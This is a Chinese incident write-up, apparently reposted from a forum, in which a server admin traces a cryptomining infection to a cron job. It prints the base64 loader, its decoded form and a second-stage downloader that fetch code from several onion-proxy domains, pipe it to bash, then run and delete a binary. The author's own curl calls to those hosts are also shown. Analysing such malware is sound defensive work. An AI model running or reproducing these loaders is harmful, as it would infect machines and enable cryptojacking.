快捷搜索:  汽车  科技

linux服务器cpu升高怎么办(Linux服务器CPU总是100-被挖矿后的自救)

linux服务器cpu升高怎么办(Linux服务器CPU总是100-被挖矿后的自救)exec &>/dev/null export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin t=torntpaxnw6yxhl4 u() { x=/crn wget -t1 -T180 -qU- -O- --no-check-certificate $1$x || curl -m180 -fsSLkA- $1$x } if ! ls /proc/$(cat /tmp/.X11-unix/01)/io; then ( u $t.onion.glass || u $t.civiclink.network || u $t.onion.mn || u $t.onion.sh || u $t.onion.in.net || u $t.tor2web.io || u

linux服务器cpu升高怎么办(Linux服务器CPU总是100-被挖矿后的自救)(1)

通过监控系统发现服务器CPU总是100%,通过检查

lsof -p $PID COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME RWdaa9 7649 root cwd DIR 253 2 40960 67145801 /usr/bin RWdaa9 7649 root rtd DIR 253 2 4096 64 / RWdaa9 7649 root txt REG 253 2 260544 67606919 /usr/bin/e9380b269e5f4564b95bb3ae105fdd4e (deleted) RWdaa9 7649 root 0u IPv4 103733459 0t0 TCP buildserver:53860->101.64.182.145:https (ESTABLISHED) RWdaa9 7649 root 3w REG 253 2 6 34829489 /tmp/.X11-unix/1 /tmp/puppeteer_dev_profile-BbyuSh

嗯这个进程一直在运行,但是找不到进程,所以就很有问题了。删除了之后程序会自动下载再次运行,初步猜测通过定时任务来实现的,发现以下异常:

crontab -l 15 * * * * /root/.systemd-ntpdate cn.pool.ntp.org >/dev/null 2>&1 /etc/cron.d 0hourly 0systemd-ntpdate raid-check sysstat cat 0systemd-ntpdate 0 * * * * root /lib/systemd/systemd-ntpdate

所有用户的计划任务,都会在这个目录下产生对应的文件 (有可能被删除)

ls /var/spool/cron root cat /var/spool/cron/root 15 * * * * /root/.systemd-ntpdate cn.pool.ntp.org >/dev/null 2>&1

########################################################################

systemd-ntpdate文件中的内容如下:

!/bin/bash exec &>/dev/null ntpdate ntp.aliyun.com sleep 52 echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KdD10b3JudHBheG53Nnl4aGw0CnUoKSB7Cng9L2Nybgp3Z2V0IC10MSAtVDE4MCAtcVUtIC1PLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggfHwgY3VybCAtbTE4MCAtZnNTTGtBLSAkMSR4Cn0KaWYgISBscyAvcHJvYy8kKGNhdCAvdG1wLy5YMTEtdW5peC8wMSkvaW87IHRoZW4KKAp1ICR0LmNpdmljbGluay5uZXR3b3JrIHx8CnUgJHQuNHRvci5tbCB8fAp1ICR0LnRvcjJ3ZWIuaW8gfHwKdSAkdC5vbmlvbi5nbGFzcyB8fAp1ICR0Lm9uaW9uLm1uIHx8CnUgJHQub25pb24uc2ggfHwKdSAkdC5vbmlvbi5pbi5uZXQgfHwKdSAkdC5vbmlvbi50bwopfGJhc2gKZmkK|base64 -d|bash

使用base64加密,那么就使用这个解密拿到内容

#解密内容如下

#会去判断进程id是否存在,id若不存在将执行下载操作

exec &>/dev/null export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin t=torntpaxnw6yxhl4 u() { x=/crn wget -t1 -T180 -qU- -O- --no-check-certificate $1$x || curl -m180 -fsSLkA- $1$x } if ! ls /proc/$(cat /tmp/.X11-unix/01)/io; then ( u $t.onion.glass || u $t.civiclink.network || u $t.onion.mn || u $t.onion.sh || u $t.onion.in.net || u $t.tor2web.io || u $t.4tor.ml || u $t.onion.to )|bash fi

# 百度了一下这些网址,检索了这个地址出来 https://github.com/zdyxry?tab=repositories,

# 估计是这些网址提供了二级域名服务,主站感觉也不是什么好站

# 按照上面的逻辑拼接出下载地址,将下载的位置文件追加到virus.txt

# 开始是可执行文件,然后是另一个脚本

curl -m180 -fsSLkA- torntpaxnw6yxhl4.onion.glass/crn > virus.txt

# cat virus.txt

#clear_virus_v2.sh这个脚本暂时不清楚干什么的

ansible all -m shell -a 'rm -f /root/clear_virus_v2.sh && echo "" > /root/clear_virus_v2.sh' exec &>/dev/ //干掉命令的输出信息 export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin x() { f=/int d=./$(date|md5sum|cut -f1 -d-) wget -t1 -T180 -qU- --no-check-certificate $1$f -O$d || curl -m180 -fsSLkA- $1$f -o$d chmod x $d;$d;rm -f $d } dir=$(grep x:$(id -u): /etc/passwd|cut -d: -f6) for i in /tmp /usr/bin $dir /dev/shm /var/tmp;do touch $i/i && cd $i && rm -f i && break;done for h in onion.glass civiclink.network onion.mn onion.in.net onion.to tor2web.io onion.sh do if ! ls /proc/$(cat /tmp/.X11-unix/01)/io; then x torntpaxnw6yxhl4.$h else break fi done

# 按照上面的逻辑拼接下载地址,获取病毒脚本

curl -m180 -fsSLkA- torntpaxnw6yxhl4.onion.mn/int -ovirus

# 这个就看不到内容了,应该就是编译后的脚本了,应该是go语言编译后的二进制文件,个人能力不够没法进行逆向,查看编译前的脚本内容,以及他区块链钱包的地址是多少{:1_937:} ,记得以前论坛有人逆向过。

看了一下目录下还有ssh、pw、ss等命令,入侵果然没有那么简单,至于反向shell暂时没有发现,但一般都会留下后门。

/tmp/.X11-unix

/tmp/.XIM-unix

/tmp/.ICE-unix

/tmp/.Test-unix

/tmp/.font-unix

服务器不能重装,又不能禁止访问互联网,但他肯定篡改的东西不止这一点点,不敢删除脚本,怕其他东西重新下载脚本,所以暂时删除了脚本中的base64位编码字符,看能不能避免

至于从哪里进来的 也不清楚 暂时告一段落

猜您喜欢: